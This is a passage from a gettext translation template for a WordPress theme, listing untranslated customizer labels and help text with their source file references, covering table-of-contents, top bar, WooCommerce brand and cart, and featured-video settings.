#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:227
msgid "Show Stock Progress Bar on Product"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:241
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:83
msgid "Show blog search results below of product search"
msgstr ""

#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:248
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:90
msgid "Total blog item Display under product serch"
msgstr ""

#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:7
msgid "Posts Page ( Blog ) Template"
msgstr ""

#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:11
msgid "Follow Homepage Setting"
msgstr ""

#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:47
msgid "Stop Overwrite Post Page Template"
msgstr ""

#: inc/customizer/config/sections/pencidesign_posts_page_settings_section.php:48
msgid "keep the same content as the page assigned is Posts Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_colors_section.php:11
msgid "Sub Heading Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:4
msgid "Enable Featured Video Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:12
msgid "Background Image Display Replace Video On Tablet & Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:18
msgid "Video Youtube URL"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:24
msgid "Featured Video Background Height"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:44
msgid "Start Video At"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:45
msgid "Unit is second"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:65
msgid "Add Custom Image on Video Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:71
msgid "Heading Text On Video Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_section_fvideo_general_section.php:78
msgid "Sub Heading Text On Video Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:7
msgid "Enable Support in Post Types"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:42
msgid "Insert Table of Contents To"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:45
msgid "Before Post Content (Default)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:47
msgid "Before First Heading"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:48
msgid "After First Heading"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:54
msgid "Table of Contents Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:59
msgid "Shadow"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:60
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:552
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:125
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:79
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:178
#: inc/js_composer/shortcodes/mailchimp/settings.php:23
#: inc/js_composer/shortcodes/team_member/settings.php:22
#: inc/meta-box/register/page.php:27 inc/woocommerce/modules/metaboxes.php:15
msgid "Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:66
msgid "Sticky Position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:81
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:189
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:746
#: inc/elementor/modules/penci-map/widgets/penci-map.php:115
#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:54
#: inc/js_composer/shortcodes/google_map/settings.php:68
#: inc/js_composer/shortcodes/tiktok_embed_feed/settings.php:23
msgid "Width"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:82
msgid "Enter the custom table of contents width."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:101
msgid "Sticky Width"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:102
msgid "Enter the custom table of contents width when sticky."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:120
msgid "Table of Contents Float"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:125
msgid "Float Left"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:126
msgid "Float Right"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:133
msgid "Show Table of Contents for Posts has How Many Minimum Heading Tags"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:134
msgid ""
"By default, the table of contents does not show if the posts has lower than "
"3 heading tags"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:141
msgid "Header Label"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:148
msgid "Disable Toggle View"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:149
msgid "Disallow the user to toggle the visibility of the table of contents."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:156
msgid "Always hide the table of contents"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:157
msgid "Only display the table heading. Initially hide the table of contents."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:164
msgid "Show as Hierarchy"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:171
msgid "Counter"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:174
msgid "Decimal (default)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:175
msgid "Numeric"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:176
msgid "Roman"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:184
msgid "Smooth Scroll"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:188
msgid "Advanced Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:197
msgid "Maximum Level of Table of Contents"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:200
msgid "1"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:201
msgid "2"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:202
msgid "3"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:203
msgid "4"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:204
msgid "5"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:205
msgid "6"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:212
msgid "Link Anchor Prefix"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:219
msgid "Headings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:223
msgid "Heading 1 (h1)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:224
msgid "Heading 2 (h2)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:225
msgid "Heading 3 (h3)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:226
msgid "Heading 4 (h4)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:227
msgid "Heading 5 (h5)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:228
msgid "Heading 6 (h6)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:235
msgid "Exclude Headings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:236
msgid ""
"Specify headings to be excluded from appearing in the table of contents. "
"Separate multiple headings with a pipe |. Use an asterisk * as a wildcard to "
"match other text."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:243
msgid "Smooth Scroll Offset"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:244
msgid ""
"If you have a consistent menu across the top of your site, you can adjust "
"the top offset to stop the headings from appearing underneath the top menu. "
"A setting of 30 accommodates the WordPress admin bar. This setting only has "
"an effect after you have enabled Smooth Scroll option."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:251
msgid "Mobile Smooth Scroll Offset"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:252
msgid ""
"This provides the same function as the Smooth Scroll Offset option above but "
"applied when the user is visiting your site on a mobile device."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_general_section.php:258
msgid "Add \"no-follow\" to table of contents link."
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:50
msgid "Font Size for Parent Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:82
msgid "Font Size for Child Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:121
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:217
msgid "Table Heading Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:129
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:225
msgid "Parent Items Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:137
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:233
msgid "Parent Items Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:145
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:241
msgid "Child Items Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:153
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:249
msgid "Child Items Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:161
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:257
msgid "Table Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:169
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:265
msgid "Table Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:177
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:273
msgid "Toggle Button Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:185
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:281
msgid "Toggle Button Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:193
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:289
msgid "Toggle Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:201
#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:297
msgid "Toggle Button Background Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:207
msgid "Sticky Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:304
msgid "Sitcky Button on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:322
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:49
#: inc/elementor/base/base-widget.php:560
#: inc/elementor/base/base-widget.php:1385
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:203
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1134
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1171
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1286
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1323
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:553
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:912
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:261
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:827
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:1145
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:359
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:348
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:109
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:308
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:339
#: inc/js_composer/inc/vc-params-helper.php:665
#: inc/js_composer/shortcodes/big_grid/settings.php:937
#: inc/js_composer/shortcodes/big_grid/settings.php:1141
#: inc/js_composer/shortcodes/big_grid/settings.php:1271
#: inc/js_composer/shortcodes/pc_single_featured_overlay/settings.php:555
#: inc/js_composer/shortcodes/pc_single_meta/settings.php:182
#: inc/js_composer/shortcodes/pc_single_meta_field/settings.php:129
#: inc/js_composer/shortcodes/social_counter/settings.php:319
#: inc/template-builder/archive-elements/posts.php:897
#: inc/template-builder/archive-elements/posts.php:1311
msgid "Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_toc_styles_section.php:346
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:586
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:436
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:128
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:396
msgid "Button Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:7
msgid "Top Bar Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:14
msgid "\"Current Date/Custom Text\" Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:21
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:217
#: inc/js_composer/shortcodes/news_ticker/settings.php:177
msgid "\"Top Posts\" Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:28
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:230
#: inc/js_composer/shortcodes/news_ticker/settings.php:184
msgid "\"Top Posts\" Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:35
msgid "Next/Prev Posts Top Bar Button Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:42
msgid "Next/Prev Posts Top Bar Button Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:49
msgid "Top Bar Posts Title Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:56
msgid "Top Bar Post Titles Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:63
msgid "Top Bar Menu Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:70
msgid "Top Bar Menu Text Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:77
msgid "Top Bar Menu Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:84
msgid "Top Bar Menu Dropdown Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:91
msgid "Top Bar Social Icons Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:98
msgid "Top Bar Social Icons Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:103
msgid "Login/Register Popup"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:111
msgid "Top Bar Login Icon & Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:118
msgid "Top Bar Login Icon & Text Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:125
msgid "Color for Popup Loading Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:132
msgid "Background Color for Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:139
msgid "Second Background Color for Popup Form ( for Gradient Background )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:145
msgid "Background Color Opacity for Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:174
msgid "Background Image for Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:181
msgid "Background Image Repeat for Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:192
msgid "Background Image Attachment for Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:204
msgid "Background Image Size for Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:210
#: inc/dashboard/lib/meta-box/inc/fields/background.php:149
#: inc/elementor/base/base-widget.php:733
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:174
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:212
#: inc/meta-box/register/page.php:566
#: inc/options/framework/fields/background/background.php:220
#: inc/template-builder/single-elements/relatedpost.php:642
#: inc/woocommerce/modules/metaboxes.php:221
msgid "Contain"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:217
msgid "Color for Close Button on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:224
msgid "Color for Titles on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:231
msgid "Text Color for Input Fields on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:238
msgid "Borders Color for Input Fields on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:245
msgid "Color for Submit Buttons on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:252
msgid "Background Color for Submit Buttons on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:259
msgid "Hover Color for Submit Buttons on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:266
msgid "Hover Background Color for Submit Buttons on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:273
msgid "Text Color on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_colors_section.php:280
msgid "Links Color on Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:6
msgid "Font Size for General Text on Topbar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:27
msgid "Font Size for \"Top Posts\" text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:47
msgid "Font Size for Post Titles on \"Top Posts\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:67
msgid "Font Size for Topbar Menu Level 1"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:87
msgid "Font Size for Sub-menu on Topbar Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:107
msgid "Font Size for Social Icons on Topbar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:125
msgid "Login/Register Popup Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:137
msgid "Font Size for Titles"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:169
msgid "Font Size for Input Fields"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:189
msgid "Font Size for Submit Buttons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.php:209
msgid "Font Size for Text/Links"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:7
msgid "Brand attribute"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:8
msgid ""
"If you want to show brand image on your product page select desired "
"attribute here"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:17
msgid "Show brand on the single product page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:18
msgid "You can disable/enable products brand image on the single page ."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:25
msgid "Show tab with brand information"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:26
msgid ""
"If enabled you will see an additional tab with brand description on the "
"single product page. Text will be taken from the \"Description\" field for "
"each brand (attribute term)."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:33
msgid "Use brand name for tab title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:34
msgid ""
"If you enable this option, the tab with the brand information will be called "
"\"About [Brand name]\".."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:42
msgid "Brand Display Position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:43
msgid "Select the brand logo placement you want to display at single product"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:47
#: inc/woocommerce/modules/metaboxes.php:278
msgid "Summary"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:7
msgid "Cross Sell Product Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:8
msgid "How many products should be shown per row on cross sell section ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:11
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:329
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:356
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:372
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:228
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:263
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:275
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:302
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:318
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:125
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:99
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:115
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:128
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:173
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:189
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:202
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:69
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:79
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:393
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:410
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:117
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:131
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:145
#: inc/gutenberg/block/portfolio/index.js:62
#: inc/gutenberg/block/recipe-index/index.js:39
#: inc/js_composer/shortcodes/big_grid/settings.php:71
#: inc/js_composer/shortcodes/big_grid/settings.php:87
#: inc/js_composer/shortcodes/big_grid/settings.php:100
#: inc/js_composer/shortcodes/product/settings.php:153
#: inc/js_composer/shortcodes/product/settings.php:168
#: inc/js_composer/shortcodes/product/settings.php:183
#: inc/js_composer/shortcodes/product_brand/settings.php:101
#: inc/js_composer/shortcodes/product_brand/settings.php:117
#: inc/js_composer/shortcodes/product_tabs/settings.php:101
#: inc/js_composer/shortcodes/product_tabs/settings.php:116
#: inc/js_composer/shortcodes/product_tabs/settings.php:131
#: inc/js_composer/shortcodes/social_counter/settings.php:217
#: inc/js_composer/shortcodes/social_counter/settings.php:230
#: inc/js_composer/shortcodes/social_counter/settings.php:243
#: inc/widgets/social_counter.php:378 inc/widgets/social_counter.php:390
#: inc/widgets/social_counter.php:403
msgid "2 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:14
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:332
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:359
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:231
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:266
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:278
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:305
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:102
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:176
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:396
#: inc/js_composer/shortcodes/big_grid/settings.php:74
#: inc/js_composer/shortcodes/product/settings.php:156
#: inc/js_composer/shortcodes/product/settings.php:171
#: inc/js_composer/shortcodes/product/settings.php:186
#: inc/js_composer/shortcodes/product_brand/settings.php:104
#: inc/js_composer/shortcodes/product_brand/settings.php:120
#: inc/js_composer/shortcodes/product_tabs/settings.php:104
#: inc/js_composer/shortcodes/product_tabs/settings.php:119
#: inc/js_composer/shortcodes/product_tabs/settings.php:134
msgid "5 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:15
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:333
#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:360
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:232
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:267
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:279
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:306
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:103
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:177
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:397
#: inc/js_composer/shortcodes/big_grid/settings.php:75
#: inc/js_composer/shortcodes/product/settings.php:157
#: inc/js_composer/shortcodes/product/settings.php:172
#: inc/js_composer/shortcodes/product/settings.php:187
#: inc/js_composer/shortcodes/product_brand/settings.php:105
#: inc/js_composer/shortcodes/product_brand/settings.php:121
#: inc/js_composer/shortcodes/product_tabs/settings.php:105
#: inc/js_composer/shortcodes/product_tabs/settings.php:120
#: inc/js_composer/shortcodes/product_tabs/settings.php:135
msgid "6 Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:24
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:732
#: inc/customizer/config/sections/woocommerce_checkout_section.php:9
msgid "Breadcrumb Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:32
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:740
#: inc/customizer/config/sections/woocommerce_checkout_section.php:17
msgid "Breadcrumb Active Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:40
msgid "Table Head Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:48
msgid "Table General Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:56
msgid "Table General Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:64
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:35
#: inc/elementor/base/base-widget.php:795
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:432
#: inc/js_composer/shortcodes/product/settings.php:377
msgid "Product Title Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:72
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:42
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:440
msgid "Product Title Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:80
#: inc/elementor/base/base-widget.php:999
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:456
#: inc/js_composer/shortcodes/product/settings.php:405
msgid "Product Price Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_cart_page_section.php:96
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:105
#: inc/customizer/config/sections/pencidesign_woo_colors_settings_section.php:840
#: inc/customizer/config/sections/woocommerce_checkout_section.php:117
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:750
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:378
#: inc/elementor/modules/penci-button/widgets/penci-button.php:393
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:816
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:171
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:622
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1126
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:600
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:488
#: inc/js_composer/shortcodes/big_grid/settings.php:566
#: inc/js_composer/shortcodes/button_popup/settings.php:210
#: inc/js_composer/shortcodes/custom_sliders/settings.php:590
#: inc/js_composer/shortcodes/custom_sliders/settings.php:704
#: inc/js_composer/shortcodes/login_form/settings.php:84
msgid "Button Text Color"
msgstr ""
